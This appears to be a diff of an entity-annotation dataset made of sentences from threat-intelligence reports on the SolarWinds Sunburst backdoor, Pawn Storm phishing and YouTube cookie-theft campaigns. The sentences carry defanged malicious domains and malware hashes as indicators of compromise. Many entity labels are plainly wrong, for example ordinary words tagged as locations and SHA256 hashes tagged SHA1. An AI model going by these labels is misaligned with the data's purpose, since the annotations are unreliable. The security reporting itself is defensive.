-{"id":10075,"text":"CVE-2020-14005, one of these vulnerabilities, has been linked to the recent SUNBURST cyberattack on SolarWinds.","entities":[{"id":30743,"label":"location","start_offset":9,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":10076,"text":"These vulnerabilities, when combined, could allow an unauthenticated attacker to execute arbitrary code as Administrator on an affected system.","entities":[],"relations":[],"Comments":[]}
 {"id":10077,"text":" Various sources have recently disclosed a sophisticated attack that hit organizations via the supply chain.","entities":[{"id":30747,"label":"identity","start_offset":69,"end_offset":72},{"id":30748,"label":"location","start_offset":95,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":10078,"text":"This was carried out via a compromised version of a network monitoring application called SolarWinds Orion.","entities":[],"relations":[],"Comments":[]}
-{"id":10079,"text":"The attackers used the access provided by this application to plant a backdoor known as Sunburst onto affected machines.","entities":[{"id":30750,"label":"location","start_offset":62,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":10080,"text":"This backdoor provided the attacker with complete access to the targeted organization’s network.","entities":[],"relations":[],"Comments":[]}
 {"id":10081,"text":"What is Sunburst?","entities":[],"relations":[],"Comments":[]}
 {"id":10082,"text":"Sunburst is a sophisticated backdoor that provides an attacker nearly complete control over an affected system.","entities":[],"relations":[],"Comments":[]}
 {"id":10083,"text":"It has several peculiarities in its behavior, however.","entities":[],"relations":[],"Comments":[]}
-{"id":10084,"text":"Before it runs, it checks that the process name hash and a registry key have been set to specific values.","entities":[{"id":30754,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":10085,"text":"It will also only run if the execution time is twelve or more days after the system was first infected; it will also only run on systems that have been attached to a domain.","entities":[{"id":30755,"label":"location","start_offset":3,"end_offset":7},{"id":30756,"label":"location","start_offset":13,"end_offset":17},{"id":30757,"label":"location","start_offset":39,"end_offset":43},{"id":30760,"label":"location","start_offset":107,"end_offset":111},{"id":30761,"label":"location","start_offset":117,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":10086,"text":"This specific set of circumstances makes analysis by researchers more difficult, but it also limits the scope of its victims to some degree.","entities":[],"relations":[],"Comments":[]}
-{"id":10087,"text":"It connects back to its command-and-control server via various domains, which take the following format: {random strings}.appsync-api.{subdomain}.avsvmcloud.com","entities":[{"id":30762,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":10088,"text":"The subdomain is one of the following strings:  eu-west-1  eu-west-2 us-east-1 us-east-2  Once in a system, it can both gather information about the affected system and execute various commands.","entities":[{"id":30764,"label":"location","start_offset":17,"end_offset":20},{"id":30765,"label":"location","start_offset":111,"end_offset":114},{"id":30766,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
-{"id":10089,"text":"The gathered information includes:  Domain name Network interfaces Running processes\/services Installed drivers  This gathered information is used either to generate a user ID for the affected machine, or to check against blocklists - if certain drivers, processes, or services are found on the machine, the backdoor will cease to function.","entities":[{"id":30767,"label":"location","start_offset":104,"end_offset":111},{"id":30768,"label":"location","start_offset":208,"end_offset":213},{"id":30769,"label":"location","start_offset":246,"end_offset":253},{"id":30770,"label":"location","start_offset":278,"end_offset":281},{"id":30771,"label":"location","start_offset":317,"end_offset":321}],"relations":[],"Comments":[]}
 {"id":10090,"text":"The commands that can be executed include:  Registry operations (read, write, and delete registry keys\/entries) File operations (read, write, and delete files) Run\/stop processes Reboot the system    What is Supernova?","entities":[{"id":30772,"label":"location","start_offset":18,"end_offset":21},{"id":30773,"label":"location","start_offset":78,"end_offset":81},{"id":30774,"label":"location","start_offset":142,"end_offset":145},{"id":30775,"label":"location","start_offset":164,"end_offset":168},{"id":30776,"label":"malware","start_offset":208,"end_offset":217}],"relations":[],"Comments":[]}
 {"id":10091,"text":"Supernova, one of the malicious components associated with the attack, is a .NET web shell backdoor that presents itself as a legitimate SolarWinds web service handler.","entities":[{"id":30777,"label":"tools","start_offset":0,"end_offset":9},{"id":30778,"label":"location","start_offset":11,"end_offset":14},{"id":30779,"label":"attack-pattern","start_offset":81,"end_offset":90},{"id":30780,"label":"identity","start_offset":137,"end_offset":147},{"id":30781,"label":"attack-pattern","start_offset":148,"end_offset":159}],"relations":[],"Comments":[]}
 {"id":10092,"text":"It is a second-stage payload in the attack.","entities":[],"relations":[],"Comments":[]}
-{"id":10093,"text":"Once running, it inspects and responds to HTTP requests with appropriate HTTP query strings, cookies, and HTML form values.","entities":[{"id":30783,"label":"location","start_offset":26,"end_offset":29},{"id":30784,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":10094,"text":"It can also execute web shell commands via a specific HTTP request format.","entities":[{"id":30785,"label":"location","start_offset":3,"end_offset":6},{"id":30786,"label":"attack-pattern","start_offset":20,"end_offset":29}],"relations":[],"Comments":[]}
 {"id":10095,"text":"  Who is affected?","entities":[],"relations":[],"Comments":[]}
 {"id":10096,"text":"It is believed that Sunburst was delivered via a trojanized version of the Orion network monitoring application.","entities":[],"relations":[],"Comments":[]}
-{"id":10097,"text":"According to SEC filings by SolarWinds, threat actors inserted the malicious code into otherwise legitimate code, which means anyone who downloaded the software was potentially at risk.","entities":[{"id":30791,"label":"location","start_offset":120,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":10098,"text":"This was done as part of the build process; the source code repository was not affected.","entities":[{"id":30792,"label":"attack-pattern","start_offset":48,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":10099,"text":"According to the SolarWinds SEC filing, this trojanized version was downloaded by under 18,000 customers from March to June of 2020.","entities":[],"relations":[],"Comments":[]}
-{"id":10100,"text":"Once this malicious code is present in a system, it runs the behavior described in the first part of this post.","entities":[{"id":30799,"label":"location","start_offset":106,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":10101,"text":"Multiple organizations, including US government agencies, have reported that they were affected by this campaign.","entities":[{"id":30801,"label":"location","start_offset":104,"end_offset":112}],"relations":[],"Comments":[]}
 {"id":10102,"text":"Solutions","entities":[],"relations":[],"Comments":[]}
-{"id":10103,"text":"In a security advisory, SolarWinds advised all of their affected customers to immediately update their software to versions that do not contain the malicious code.","entities":[{"id":30802,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":10104,"text":"The advisory also lists the appropriate products and their versions.","entities":[{"id":30804,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":10105,"text":"Our article titled Managing Risk While Your ITSM Is Down includes suggestions on how to manage network monitoring and other IT systems management (ITSM) solutions.","entities":[{"id":30806,"label":"location","start_offset":88,"end_offset":94},{"id":30807,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":10106,"text":"In addition to this, the US Department of Homeland Security, in a directive to US government agencies, ordered that systems with the said software be taken offline and not reconnected to networks until they have been rebuilt.","entities":[{"id":30811,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
 {"id":10107,"text":"The directive treats agencies to treat said machines as compromised, with credentials used by said machines to be changed as well.","entities":[],"relations":[],"Comments":[]}
-{"id":10108,"text":"Organizations that use SolarWinds Orion within their network may consider similar steps.","entities":[{"id":30813,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":10109,"text":"The malicious files associated with this attack are already detected by the appropriate Trend Micro products as Backdoor.MSIL.SUNBURST.A and Trojan.MSIL.SUPERNOVA.A. In addition to this, the entirety of the domain avsvmcloud.com has been blocked.","entities":[{"id":30814,"label":"location","start_offset":48,"end_offset":51},{"id":30816,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":10110,"text":"If you believe that your organization may have been affected by this campaign, visit this page for the available Trend Micro solutions that can help detect and mitigate any risks from this campaign.","entities":[{"id":30818,"label":"location","start_offset":38,"end_offset":41},{"id":30819,"label":"location","start_offset":69,"end_offset":77},{"id":30820,"label":"location","start_offset":90,"end_offset":94},{"id":30822,"label":"location","start_offset":140,"end_offset":143},{"id":30823,"label":"location","start_offset":156,"end_offset":159},{"id":30824,"label":"location","start_offset":189,"end_offset":197}],"relations":[],"Comments":[]}
-{"id":10111,"text":"If you’re a Trend Micro Apex One customer, check your product console for a notification to scan your environment for attack indicators of this campaign.","entities":[{"id":30827,"label":"location","start_offset":43,"end_offset":48},{"id":30828,"label":"location","start_offset":144,"end_offset":152}],"relations":[],"Comments":[]}
 {"id":10112,"text":"Indicators of Compromise","entities":[],"relations":[],"Comments":[]}
-{"id":10113,"text":"The following hashes are associated with this campaign and are detected by Trend Micro products:  SHA256 SHA1","entities":[{"id":30829,"label":"location","start_offset":21,"end_offset":24},{"id":30830,"label":"location","start_offset":46,"end_offset":54},{"id":30831,"label":"location","start_offset":55,"end_offset":58},{"id":30832,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
 {"id":10114,"text":"Trend Micro Detection 019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134  2f1a5a7411d015d01aaee4535835400191645023 Backdoor.","entities":[{"id":30834,"label":"location","start_offset":6,"end_offset":11},{"id":30835,"label":"SHA1","start_offset":22,"end_offset":86},{"id":30836,"label":"MD5","start_offset":88,"end_offset":128}],"relations":[],"Comments":[]}
 {"id":10115,"text":"MSIL.SUNBURST.A c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71 75af292f34789a1c782ea36c7127bf6106f595e8","entities":[{"id":30837,"label":"SHA1","start_offset":16,"end_offset":80},{"id":30838,"label":"SHA1","start_offset":81,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":10116,"text":"Trojan.MSIL.SUPERNOVA.A ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6  d130bd75645c2433f88ac03e73395fba172ef676 Backdoor.","entities":[{"id":30839,"label":"SHA1","start_offset":24,"end_offset":88},{"id":30840,"label":"SHA1","start_offset":90,"end_offset":130}],"relations":[],"Comments":[]}
@@ -10119,131 +7474,66 @@
 {"id":10119,"text":"MSIL.SUNBURST.A","entities":[],"relations":[],"Comments":[]}
 {"id":10120,"text":"d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600 1b476f58ca366b54f34d714ffce3fd73cc30db1a","entities":[{"id":30843,"label":"SHA2","start_offset":0,"end_offset":64},{"id":30844,"label":"MD5","start_offset":65,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":10121,"text":"Backdoor.MSIL.SUNBURST.A  ","entities":[],"relations":[],"Comments":[]}
-{"id":10122,"text":"The following domain names are associated with this campaign and are also blocked:  avsvmcloud[.]com databasegalore[.]com deftsecurity[.]com highdatabase[.]com incomeupdate[.]com panhardware[.]com thedoccloud[.]com zupertech[.]com         Tags  APT & Targeted Attacks | Research | Articles, News, Reports | Cyber Threats","entities":[{"id":30845,"label":"location","start_offset":27,"end_offset":30},{"id":30846,"label":"location","start_offset":52,"end_offset":60},{"id":30847,"label":"location","start_offset":61,"end_offset":64},{"id":30848,"label":"location","start_offset":65,"end_offset":68},{"id":30849,"label":"location","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]}
 {"id":10123,"text":"In the second half of 2017 Pawn Storm, an extremely active espionage actor group, didn’t shy away from continuing their brazen attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":10124,"text":"Usually, the group's attacks are not isolated incidents, and we can often relate them to earlier attacks by carefully looking at both technical indicators and motives.","entities":[{"id":30852,"label":"location","start_offset":29,"end_offset":32},{"id":30853,"label":"location","start_offset":57,"end_offset":60},{"id":30854,"label":"location","start_offset":64,"end_offset":67},{"id":30855,"label":"location","start_offset":81,"end_offset":85},{"id":30856,"label":"location","start_offset":155,"end_offset":158}],"relations":[],"Comments":[]}
-{"id":10125,"text":"Pawn Storm has been attacking political organizations in France, Germany, Montenegro, Turkey, Ukraine, and the United States since 2015.","entities":[{"id":30863,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
 {"id":10126,"text":"We saw attacks against political organizations again in the second half of 2017.","entities":[],"relations":[],"Comments":[]}
-{"id":10127,"text":"These attacks don’t show much technical innovation over time, but they are well prepared, persistent, and often hard to defend against.","entities":[{"id":30867,"label":"location","start_offset":25,"end_offset":29},{"id":30868,"label":"location","start_offset":56,"end_offset":60},{"id":30869,"label":"location","start_offset":71,"end_offset":74},{"id":30870,"label":"location","start_offset":102,"end_offset":105},{"id":30871,"label":"location","start_offset":112,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":10128,"text":"Pawn Storm has a large toolset full of social engineering tricks, malware and exploits, and therefore doesn’t need much innovation apart from occasionally using their own zero-days and quickly abusing software vulnerabilities shortly after a security patch is released.","entities":[{"id":30873,"label":"location","start_offset":17,"end_offset":22},{"id":30874,"label":"location","start_offset":74,"end_offset":77},{"id":30875,"label":"location","start_offset":88,"end_offset":91},{"id":30876,"label":"location","start_offset":115,"end_offset":119},{"id":30878,"label":"location","start_offset":181,"end_offset":184},{"id":30879,"label":"location","start_offset":242,"end_offset":250}],"relations":[],"Comments":[]}
 {"id":10129,"text":"In summer and fall of 2017, we observed Pawn Storm targeting several organizations with credential phishing and spear phishing attacks.","entities":[{"id":30882,"label":"attack-pattern","start_offset":99,"end_offset":107},{"id":30883,"label":"location","start_offset":108,"end_offset":111},{"id":30884,"label":"attack-pattern","start_offset":112,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":10130,"text":"Pawn Storm’s modus operandi is quite consistent over the years, with some of their technical tricks being used repeatedly.","entities":[],"relations":[],"Comments":[]}
-{"id":10131,"text":"For example, tabnabbing was used against Yahoo! users in August and September 2017 in US politically themed email.","entities":[{"id":30890,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":10132,"text":"The method, which we first discussed in 2014, involves changing a browser tab to point to a phishing site after distracting the target.","entities":[{"id":30896,"label":"location","start_offset":74,"end_offset":77},{"id":30897,"label":"location","start_offset":81,"end_offset":86},{"id":30898,"label":"attack-pattern","start_offset":92,"end_offset":100},{"id":30899,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":10133,"text":"We can often closely relate current and old Pawn Storm campaigns using data that spans more than four years, possibly because the actors in the group follow a script when setting up an attack.","entities":[{"id":30900,"label":"location","start_offset":3,"end_offset":6},{"id":30901,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":10134,"text":"This makes sense, as the sheer volume of their attacks requires careful administration, planning, and organization to succeed.","entities":[{"id":30904,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":10135,"text":"The screenshots below show two typical credential phishing emails that targeted specific organizations in October and November 2017.","entities":[{"id":30906,"label":"attack-pattern","start_offset":50,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":10136,"text":"One type of email is supposedly a message from the target’s Microsoft Exchange server about an expired password.","entities":[{"id":30909,"label":"location","start_offset":4,"end_offset":8},{"id":30910,"label":"location","start_offset":51,"end_offset":57}],"relations":[],"Comments":[]}
 {"id":10137,"text":"The other says there is a new file on the company’s OneDrive system.","entities":[],"relations":[],"Comments":[]}
 {"id":10138,"text":"Figure 1. A sample of a credential phishing email Pawn Storm sent in October and November 2017  Figure 2.","entities":[{"id":30914,"label":"location","start_offset":12,"end_offset":18},{"id":30915,"label":"attack-pattern","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":10139,"text":"Second type of credential phishing email that was sent by Pawn Storm in November 2017.","entities":[{"id":30920,"label":"location","start_offset":7,"end_offset":11},{"id":30921,"label":"attack-pattern","start_offset":26,"end_offset":34},{"id":30922,"label":"threat-actor","start_offset":58,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":10140,"text":"The logo of the target organization has been removed from the screenshot and the color was changed as not to reveal the source.","entities":[{"id":30924,"label":"location","start_offset":16,"end_offset":22},{"id":30925,"label":"location","start_offset":73,"end_offset":76},{"id":30926,"label":"attack-pattern","start_offset":120,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":10141,"text":"While these emails might not seem to be advanced in nature, we’ve seen that credential loss is often the starting point of further attacks that include stealing sensitive data from email inboxes.","entities":[{"id":30927,"label":"location","start_offset":114,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":10142,"text":"We have worked with one of the targets, an NGO in the Netherlands targeted twice, in late October and early November 2017.","entities":[{"id":30931,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":10143,"text":"We successfully prevented both attacks from causing any harm.","entities":[],"relations":[],"Comments":[]}
 {"id":10144,"text":"In one case we were able to warn the target within two hours after a dedicated credential phishing site was set up.","entities":[{"id":30935,"label":"location","start_offset":7,"end_offset":11},{"id":30936,"label":"location","start_offset":37,"end_offset":43},{"id":30937,"label":"TIME","start_offset":51,"end_offset":60},{"id":30938,"label":"attack-pattern","start_offset":90,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":10145,"text":"In an earlier attack, we were able to warn the organization 24 hours before the actual phishing emails were sent.","entities":[{"id":30939,"label":"TIME","start_offset":60,"end_offset":68},{"id":30940,"label":"attack-pattern","start_offset":87,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":10146,"text":"Olympic Wintersports Federations","entities":[],"relations":[],"Comments":[]}
-{"id":10147,"text":"We have seen several International Olympic Wintersport Federations, such as the European Ice Hockey Federation, the International Ski Federation, the International Biathlon Union, the International Bobsleigh and Skeleton Federation and the International Luge Federation, among the group’s targets in the second half of 2017.","entities":[{"id":30947,"label":"location","start_offset":232,"end_offset":235}],"relations":[],"Comments":[]}
-{"id":10148,"text":"This is noteworthy due to the timing correlation between several Russian Olympic players being banned for life in fall, 2017.","entities":[{"id":30950,"label":"location","start_offset":49,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":10149,"text":"In 2016, Pawn Storm had some success in compromising WADA (the World Anti-Doping Agency) and TAS-CAS (the Court of Arbitration for Sport).","entities":[{"id":30955,"label":"location","start_offset":29,"end_offset":36},{"id":30958,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":10150,"text":"At that time, Pawn Storm sought active contact with mainstream media either directly or via proxies and had influence on what some of them published.","entities":[{"id":30961,"label":"location","start_offset":8,"end_offset":12},{"id":30963,"label":"location","start_offset":39,"end_offset":46},{"id":30964,"label":"location","start_offset":63,"end_offset":68},{"id":30965,"label":"location","start_offset":100,"end_offset":103},{"id":30966,"label":"location","start_offset":134,"end_offset":138}],"relations":[],"Comments":[]}
 {"id":10151,"text":"Political targets","entities":[],"relations":[],"Comments":[]}
 {"id":10152,"text":"In the week of the 2017 presidential elections in Iran, Pawn Storm set up a phishing site targeting chmail.ir webmail users.","entities":[{"id":30971,"label":"attack-pattern","start_offset":76,"end_offset":84}],"relations":[],"Comments":[]}
 {"id":10153,"text":"We were able to collect evidence that credential phishing emails were sent to chmail.ir users on May 18, 2017, just one day before the presidential elections in Iran.","entities":[{"id":30973,"label":"attack-pattern","start_offset":49,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":10154,"text":"We have previously reported similar targeted activity against political organizations in France, Germany, Montenegro, Turkey, Ukraine, and the United States.","entities":[{"id":30983,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]}
 {"id":10155,"text":"Beginning in June 2017, phishing sites were set up mimicking the ADFS (Active Directory Federation Services) of the U.S. Senate.","entities":[{"id":30986,"label":"attack-pattern","start_offset":24,"end_offset":32},{"id":30987,"label":"location","start_offset":33,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":10156,"text":"By looking at the digital fingerprints of these phishing sites and comparing them with a large data set that spans almost five years, we can uniquely relate them to a couple of Pawn Storm incidents in 2016 and 2017.","entities":[{"id":30989,"label":"attack-pattern","start_offset":48,"end_offset":56},{"id":30990,"label":"location","start_offset":57,"end_offset":62},{"id":30991,"label":"location","start_offset":63,"end_offset":66},{"id":30992,"label":"location","start_offset":77,"end_offset":81},{"id":30993,"label":"location","start_offset":89,"end_offset":94},{"id":30995,"label":"location","start_offset":137,"end_offset":140},{"id":30996,"label":"location","start_offset":157,"end_offset":161},{"id":30999,"label":"location","start_offset":206,"end_offset":209}],"relations":[],"Comments":[]}
 {"id":10157,"text":"The real ADFS server of the U.S. Senate is not reachable on the open internet, however phishing of users’ credentials on an ADFS server that is behind a firewall still makes sense.","entities":[{"id":31001,"label":"location","start_offset":4,"end_offset":8},{"id":31003,"label":"attack-pattern","start_offset":87,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":10158,"text":"In case an actor already has a foothold in an organization after compromising one user account, credential phishing could help him get closer to high profile users of interest.","entities":[{"id":31004,"label":"location","start_offset":3,"end_offset":7},{"id":31006,"label":"attack-pattern","start_offset":107,"end_offset":115}],"relations":[],"Comments":[]}
 {"id":10159,"text":"The future of politically motivated campaigns Rogue political influence campaigns are not likely to go away in the near future.","entities":[{"id":31007,"label":"malware","start_offset":46,"end_offset":51},{"id":31008,"label":"location","start_offset":82,"end_offset":85},{"id":31009,"label":"location","start_offset":90,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":10160,"text":"Political organizations have to be able to communicate openly with their voters, the press and the general public.","entities":[{"id":31010,"label":"location","start_offset":91,"end_offset":94},{"id":31011,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":10161,"text":"This makes them vulnerable to hacking and spear phishing.","entities":[{"id":31012,"label":"location","start_offset":11,"end_offset":15},{"id":31013,"label":"location","start_offset":38,"end_offset":41},{"id":31014,"label":"attack-pattern","start_offset":42,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":10162,"text":"On top of that, it's also relatively easy to influence public opinion via social media.","entities":[{"id":31015,"label":"location","start_offset":55,"end_offset":61},{"id":31016,"label":"location","start_offset":81,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":10163,"text":"Social media platforms continue to form a substantial part of users’ online experience, and they let advertisers reach consumers with their message.","entities":[{"id":31017,"label":"location","start_offset":7,"end_offset":12},{"id":31018,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":10164,"text":"This makes social media algorithms susceptible to abuse by various actors with bad intentions.","entities":[{"id":31019,"label":"location","start_offset":18,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":10165,"text":"Publishing stolen data together with spreading fake news and rumors on social media gives malicious actors powerful tools.","entities":[{"id":31020,"label":"location","start_offset":57,"end_offset":60},{"id":31021,"label":"location","start_offset":78,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":10166,"text":"While a successful influence campaign might seem relatively easy to do, it needs a lot of planning, persistence, and resources to be successful.","entities":[{"id":31022,"label":"location","start_offset":29,"end_offset":37},{"id":31023,"label":"location","start_offset":83,"end_offset":86},{"id":31024,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":10167,"text":"Some of the basic tools and services, like ones used to spread fake news on social media, are already being offered as a service in the underground economy.","entities":[{"id":31025,"label":"location","start_offset":24,"end_offset":27},{"id":31026,"label":"location","start_offset":83,"end_offset":88},{"id":31027,"label":"location","start_offset":90,"end_offset":93},{"id":31028,"label":"location","start_offset":148,"end_offset":155}],"relations":[],"Comments":[]}
 {"id":10168,"text":"As we have mentioned in our overview paper on Pawn Storm, other actors may also start their own campaigns that aim to influence politics and issues of interest domestically and abroad.","entities":[{"id":31029,"label":"threat-actor","start_offset":46,"end_offset":56},{"id":31030,"label":"location","start_offset":71,"end_offset":74},{"id":31031,"label":"location","start_offset":80,"end_offset":85},{"id":31032,"label":"location","start_offset":137,"end_offset":140},{"id":31033,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":10169,"text":"Actors from developing countries will learn and probably adapt similar methods quickly in the near future.","entities":[{"id":31034,"label":"location","start_offset":33,"end_offset":37},{"id":31035,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":10170,"text":"In 2016, we published a report on C Major, an espionage group that primarily targets the Indian military.","entities":[],"relations":[],"Comments":[]}
-{"id":10171,"text":"By digging deeper into C Major’s activities, we found that this actor group not only attacks the Indian military, but also has dedicated botnets for compromised targets in Iranian universities, Afghanistan, and Pakistan.","entities":[{"id":31040,"label":"location","start_offset":80,"end_offset":84},{"id":31044,"label":"location","start_offset":207,"end_offset":210}],"relations":[],"Comments":[]}
-{"id":10172,"text":"Recently, we have witnessed C Major also showing some interest in compromising military and diplomatic targets in the West.","entities":[{"id":31047,"label":"location","start_offset":88,"end_offset":91},{"id":31048,"label":"location","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":10173,"text":"It is only a matter of time before actors like C Major begin attempting to influence public opinion in foreign countries, as well.","entities":[{"id":31049,"label":"location","start_offset":6,"end_offset":10},{"id":31050,"label":"location","start_offset":23,"end_offset":27},{"id":31052,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":10174,"text":"With the Olympics and several significant global elections taking place in 2018, we can be sure Pawn Storm’s activities will continue.","entities":[{"id":31054,"label":"location","start_offset":18,"end_offset":21},{"id":31056,"label":"location","start_offset":84,"end_offset":87},{"id":31057,"label":"threat-actor","start_offset":96,"end_offset":106},{"id":31058,"label":"location","start_offset":120,"end_offset":124}],"relations":[],"Comments":[]}
-{"id":10175,"text":"We at Trend Micro will keep monitoring their targeted activities, as well as activities of similar actors, as cyberpropaganda and digital extortion remain in use.","entities":[{"id":31060,"label":"location","start_offset":18,"end_offset":22},{"id":31061,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":10176,"text":"Indicators of Compromise (IoCs):  adfs[.]senate[.]group adfs-senate[.]email adfs-senate[.]services adfs.senate[.]qov[.]info chmail.ir[.]udelivered[.]tk webmail-ibsf[.]org fil-luge[.]com biathlovvorld[.]com mail-ibu[.]eu fisski[.]ca iihf[.]eu         Tags  Malware | APT & Targeted Attacks | Endpoints | Research | Phishing | Network","entities":[{"id":31063,"label":"location","start_offset":266,"end_offset":269},{"id":31064,"label":"attack-pattern","start_offset":314,"end_offset":322}],"relations":[],"Comments":[]}
-{"id":10177,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":31066,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":10178,"text":"Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.","entities":[{"id":31068,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":10179,"text":"The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.","entities":[{"id":31070,"label":"location","start_offset":23,"end_offset":31},{"id":31072,"label":"location","start_offset":113,"end_offset":117},{"id":31073,"label":"location","start_offset":124,"end_offset":130},{"id":31074,"label":"malware","start_offset":232,"end_offset":237}],"relations":[],"Comments":[]}
 {"id":10180,"text":"In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.","entities":[{"id":31079,"label":"location","start_offset":85,"end_offset":88},{"id":31081,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
 {"id":10181,"text":"We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.","entities":[{"id":31087,"label":"location","start_offset":52,"end_offset":56},{"id":31088,"label":"attack-pattern","start_offset":66,"end_offset":74},{"id":31089,"label":"malware","start_offset":75,"end_offset":79},{"id":31092,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":10182,"text":"With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).","entities":[{"id":31098,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
 {"id":10183,"text":"Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":10184,"text":"In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.","entities":[{"id":31101,"label":"location","start_offset":68,"end_offset":71},{"id":31102,"label":"location","start_offset":98,"end_offset":102},{"id":31103,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":10185,"text":"Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.","entities":[{"id":31104,"label":"attack-pattern","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":10186,"text":"While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.","entities":[{"id":31106,"label":"location","start_offset":73,"end_offset":81},{"id":31107,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":10187,"text":" Many YouTube creators provide an email address on their channel for business opportunities.","entities":[{"id":31108,"label":"location","start_offset":1,"end_offset":5}],"relations":[],"Comments":[]}
-{"id":10188,"text":"In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.","entities":[{"id":31110,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":10189,"text":"The phishing typically started with a customized email introducing the company and its products.","entities":[{"id":31111,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":31112,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
